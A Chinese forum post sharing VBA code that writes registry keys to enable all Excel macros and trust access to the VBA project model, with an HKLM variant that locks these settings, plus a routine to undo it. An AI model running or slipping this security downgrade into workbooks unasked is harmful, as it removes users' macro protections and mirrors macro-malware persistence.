|
本帖最后由 故从何生 于 2022-6-15 09:16 编辑
'============
'在运行这段代码后,将开启“信任对VBA工程对象模型的访问”,且该选项将变成灰色。
'1.“AccessVBOM”项的值为1代表开启,0表示关闭“信任对VBA工程对象模型的访问”
'2.“Level”项的值1,2,3分别表示宏的安全级别为低、中、高。
'3.语句中“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM ”和“HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level”添加过后会将相关的选项变成灰色,变为不可选。
Function OpenVBA()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\VBAWarnings"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\VBAWarnings" 'Level
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'--------------------------------------------------------------------------------------------------------------------------------------------
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.REGWRITE strkey, Value
Else
oWshell.REGWRITE strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
'解决变灰的问题,可以手动删除代码中涉及的键值或者运行代码:
Sub RepairVBA()
On Error Resume Next
With CreateObject("WSCRIPT.SHELL")
.REGDELETE "HKLM\Software\Microsoft\Office\" & Application.Version & "\Excel\Security"
.REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\AccessVBOM", 0, "REG_DWORD"
.REGWRITE "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 3, "REG_DWORD"
End With
End Sub
'====================================
实测2016可行,之前1楼的代码中少了一个"\",另外,Level更换为VBAWarnings了
|
|